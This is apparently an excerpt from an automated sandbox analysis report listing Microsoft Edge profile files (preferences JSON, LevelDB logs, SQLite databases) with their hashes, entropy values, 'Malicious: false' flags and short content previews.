Entropy (8bit):	4.132041621771752
Encrypted:	false
SSDEEP:	3:FiWWltlApdeXKeQwFMYLAfJrAazlYBVP/Sh/JzvPWVcRVEVg3WWD5x1:o1ApdeaEqYsMazlYBVsJDu2ziy5
MD5:	845CFA59D6B52BD2E8C24AC83A335C66
SHA1:	6882BB1CE71EB14CEF73413EFC591ACF84C63C75
SHA-256:	29645C274865D963D30413284B36CC13D7472E3CD2250152DEE468EC9DA3586F
SHA-512:	8E0E7E8CCDC8340F68DB31F519E1006FA7B99593A0C1A2425571DAF71807FBBD4527A211030162C9CE9E0584C8C418B5346C2888BEDC43950BF651FD1D40575E
Malicious:	false
Preview:	sdPC......................X..<EE..r/y..."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................fdb35e9f-12f5-40d5-8d50-87a9333d43a4............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\33489f3d-be99-49b9-b818-666623242108.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24853
Entropy (8bit):	5.565733695191853
Encrypted:	false
SSDEEP:	768:bYPddmWPLHfLS8F1+UoAYDCx9Tuqh0VfUC9xbog/OVTOZacrwZp4tuL:bYPddmWPLHfLSu1jaiIaVItw
MD5:	E597715F18D33F572D2839D39EB1C1AA
SHA1:	8FC43D63B4E8DFF30394ADA114C2D595797F5BF6
SHA-256:	2354E2427CCF2726AFE9152968FE216C504FEC9ED428E2B51355FFA456CCFBDC
SHA-512:	068FA620A5EE11083E6EFF538CC9CF3935543E86E3206C85F33123791B60A3EE439E0E44F7CA710ADA6850685CF31588C40ED9FA5D7C61DA2F37A67379FFC346
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377029305313966","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377029305313966","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\4f3100f0-dd32-448e-ace1-d45e8a099651.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9712
Entropy (8bit):	5.115126776384249
Encrypted:	false
SSDEEP:	192:stwkdpgsHCtsZihUkSE7m8FbV+FGGRQA66WDaFIMY5PEYJ:stwQgsHqfh6KbGrQx6WDaTYv
MD5:	1BDCA13C8C8A06626DCBFD91CCFEB60A
SHA1:	D723BAA0B69679655964AEC45A29665DB393DC3E
SHA-256:	896392A0C280BA80A20AB6249BD52AC0AD1B25462AD82E13BA324683EDEFA92C
SHA-512:	753397CEAE89402B5BC2AF27FDA5F97E3DF3199944B5552FBCF4506BB6B91AB311A751DD9C0E12FB5BB78124621BEB524663FA25D87F81D2AE2C05CABCD1A3DF
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377029305889321","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\62f3a47b-edd8-4ee9-99cf-53e19891e6ba.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\74886a0f-977c-46dd-ab9d-ee7e85f39608.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\9e8cde91-769a-4160-9050-540d6f803127.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17103), with no line terminators
Category:	dropped
Size (bytes):	17105
Entropy (8bit):	5.490584527548182
Encrypted:	false
SSDEEP:	384:stwPGQSu4gsHqfhx1tuX1vRRmGTwnNrbGrQw16WDaTYv:siOXu8qfxtbdbGEeXaTYv
MD5:	17DCAEFB2B76ED57E3C30AB05B8DCBFC
SHA1:	0A6C5EE894BE8B7660E7B1144C1848BF32A04F8E
SHA-256:	32E6AC9EEB203BFBF97CF06F30EC26C18281FDE2DDC04443F518A50F90E82994
SHA-512:	47FDCC780F49CC67865A8358C36F3DAC0255A92C12AFD70042AAFFDD8CACAE0A5700EC950C7CFB879E33A2F27027029412C36861653C11AFA8E4C1D4AFE99559
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377029305889321","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	307
Entropy (8bit):	5.200615904787795
Encrypted:	false
SSDEEP:	6:HApF+nGFm81923oH+Tcwtp3hBtB2KLlVApF+BM+q2P923oH+Tcwtp3hBWsIFUv:gCGcxYebp3dFLoCBM+v4Yebp3eFUv
MD5:	664F6F089B787E1F8FDA2D445B3BFAD8
SHA1:	42744628D9F6A5EA898BA209FC387BBF3B5D4239
SHA-256:	63BC41F952329BC51F8A90604A3CC59FF2527EDA5ACD44AE4E913D91E9036D00
SHA-512:	5191D5DFF585E75C7093C23AFDAD587D77B4649068485D3C2F92D8FFA813F0BB958B63AE6E51B0D3C906B47694EE9E32F4A4628AFAE6F9BD2A358E27DE12A06B
Malicious:	false
Preview:	2024/11/25-12:28:31.182 ffc Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/25-12:28:31.230 ffc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.22287382202159
Encrypted:	false
SSDEEP:	24576:v+/PN8FGfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:v+/PN8Ufx2mjF
MD5:	1ACEDC25394A49E4C7E55595B6D9AACF
SHA1:	A8DB7787ACD3F3CCF1D36303D1396BFA6C4B3947
SHA-256:	55912FB88157DFB302ED85F98E9B0F48893D33DCC76DDE63AA5962A5CB7155EB
SHA-512:	42E69AA1667A85341C589CD2EFD8D91848C51F973750FFD3121B8D601BA60BB8C4E8745B4A9479B5480796FE6073920078C54588641F1D7CD4CD73734A9138DD
Malicious:	false
Preview:	...m.................DB_VERSION.1.l.i.................QUERY_TIMESTAMP:arbitration_priority_list4...13340900604462938.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.122270178841172
Encrypted:	false
SSDEEP:	6:HApF+ks3+q2P923oH+Tcwt9Eh1tIFUt8YApF+kdZZmw+YApF+qzVkwO923oH+Tcf:gCn3+v4Yeb9Eh16FUt87CMZ/+7CqzV5s
MD5:	77839B2B5F2B345C38EEECEB32C04324
SHA1:	2BC5C5E3E655AE0FB72E963E6256458976C6FD86
SHA-256:	9990748088AB1AA963C73FFE85ADF157FBE5ED341D93DF8CB7D6FEF0A1B664FB
SHA-512:	65740407BBEF36929BDAF8E1179160C40117E98CA75A1A15076875C77D9A37973DBF4721C7A34619F65EC020A361ED077852286E8E537E1DE31F714CE2535390
Malicious:	false
Preview:	2024/11/25-12:28:31.066 20dc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/25-12:28:31.067 20dc Recovering log #3.2024/11/25-12:28:31.083 20dc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.122270178841172
Encrypted:	false
SSDEEP:	6:HApF+ks3+q2P923oH+Tcwt9Eh1tIFUt8YApF+kdZZmw+YApF+qzVkwO923oH+Tcf:gCn3+v4Yeb9Eh16FUt87CMZ/+7CqzV5s
MD5:	77839B2B5F2B345C38EEECEB32C04324
SHA1:	2BC5C5E3E655AE0FB72E963E6256458976C6FD86
SHA-256:	9990748088AB1AA963C73FFE85ADF157FBE5ED341D93DF8CB7D6FEF0A1B664FB
SHA-512:	65740407BBEF36929BDAF8E1179160C40117E98CA75A1A15076875C77D9A37973DBF4721C7A34619F65EC020A361ED077852286E8E537E1DE31F714CE2535390
Malicious:	false
Preview:	2024/11/25-12:28:31.066 20dc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/25-12:28:31.067 20dc Recovering log #3.2024/11/25-12:28:31.083 20dc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.46285866121977876
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBur:TouQq3qh7z3bY2LNW9WMcUvBur
MD5:	8CB8EA314A98EB1B4208711EE718CD23
SHA1:	8845CC0D4CCCB5F5ABF858DBFB7F380520B03DD5
SHA-256:	E4A4C1065E6E8C4129149DDECA4578D30CBEF239DD5A830BF580A4B633F886B4
SHA-512:	F537DDCD372F73AD284E96CB27ED09CAA9EA5372EEA5CABAC33A5E9FB4F45CDEE05422E6F4D91877F4729F6E9F1DB71D5040FDC1D9265963FA042C4F5D98F485
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.186166769914665
Encrypted:	false
SSDEEP:	6:HApFmvYpVq2P923oH+TcwtnG2tMsIFUt8YApFmlkSgZmw+YApFmlkSIkwO923oHC:g5v4Yebn9GFUt87TX/+7TF5LYebn95J
MD5:	1FCA010203E5ADAAAF8FE6CED148E6C7
SHA1:	57D6E3AD432CB8C42AAD6C6AABF84E8CC21A4FE1
SHA-256:	01942331CA80785E5EE2540215C2A9B6B6AE34E72CCAD268ECB71C73EC97C832
SHA-512:	53ED3A398A55BB14090A3A8C1F6915B238990EA3B713EC11B4EC19671614F341E8A8783A8BB3C8C7DDD1122B17831209FC3C7D72DBE4ADD5550FFF114821D9FF
Malicious:	false
Preview:	2024/11/25-12:28:25.426 1dc4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/25-12:28:25.427 1dc4 Recovering log #3.2024/11/25-12:28:25.427 1dc4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.186166769914665
Encrypted:	false
SSDEEP:	6:HApFmvYpVq2P923oH+TcwtnG2tMsIFUt8YApFmlkSgZmw+YApFmlkSIkwO923oHC:g5v4Yebn9GFUt87TX/+7TF5LYebn95J
MD5:	1FCA010203E5ADAAAF8FE6CED148E6C7
SHA1:	57D6E3AD432CB8C42AAD6C6AABF84E8CC21A4FE1
SHA-256:	01942331CA80785E5EE2540215C2A9B6B6AE34E72CCAD268ECB71C73EC97C832
SHA-512:	53ED3A398A55BB14090A3A8C1F6915B238990EA3B713EC11B4EC19671614F341E8A8783A8BB3C8C7DDD1122B17831209FC3C7D72DBE4ADD5550FFF114821D9FF
Malicious:	false
Preview:	2024/11/25-12:28:25.426 1dc4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/25-12:28:25.427 1dc4 Recovering log #3.2024/11/25-12:28:25.427 1dc4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6128497758394704
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+jNuQIpCXIunmL:TO8D4jJ/6Up+g8XJc
MD5:	B3034F2C794FEC8B8EEFFC2CE09CC3DD
SHA1:	50E2A56311FB9A7330AA5C79249EB967CDE622E4
SHA-256:	B7B43B7D8B4E32D26F761C46C36AD5DF50892D215C018C70F01E8A8377093C13
SHA-512:	1C060612AE4B3FA57A04725DDF6C2CA3B32AEA3B68AD3E37BFAE62C32B160C5BD9920B428943F4116AF751AD67F82905A6ED538004B1144B6FD198CCBC5282C7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354160437263157
Encrypted:	false
SSDEEP:	6144:MA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:MFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	57276C02D61EA2ABF4702E74560D6525
SHA1:	484D61078B4890C7C1BA31B85672D4E96800083E
SHA-256:	E480A950850CB347AD9A29977E98FC2DEFFF34B525DF8B5FEC9CA42592ADBD9A
SHA-512:	38D102F2D085931287A3EFDA0F3315FC29DCCE641BE893FA7D109034D7F7660FFD81D99364422D8DF454AE71355A3ABA9D8D1ECB03011D90DC3CDF33A851A884
Malicious:	false
Preview:	...m.................DB_VERSION.1....q...............&QUERY_TIMESTAMP:domains_config_gz2...13377029313991246..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.133457486783267
Encrypted:	false
SSDEEP:	6:HApF+mj8q1923oH+Tcwtk2WwnvB2KLlVApF+DGSlL+q2P923oH+Tcwtk2WwnvIF2:gCmwfYebkxwnvFLoCXN+v4YebkxwnQF2
MD5:	38299B29D1AD8D61EA4C60A8CBCDC31E
SHA1:	C9FBC2E9A977601D575F8CC4444F63DBD706E90E
SHA-256:	23DB9AE6BAAB69A7FCAD5F611112BD953E805AA416B9C97B3698A92025B05495
SHA-512:	C19D1481086A5F11853582B9E1D8D8CE43C01410A6AFCC3A60C7E6369CB1B71C52A91FB5F5D5C34E59C85AEAF2C5CCB0866FBBF882654DE5250D4A1EB9B400D8
Malicious:	false
Preview:	2024/11/25-12:28:31.044 20cc Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/25-12:28:31.148 20cc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.3246227477797
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6Rs:C1gAg1zfvU
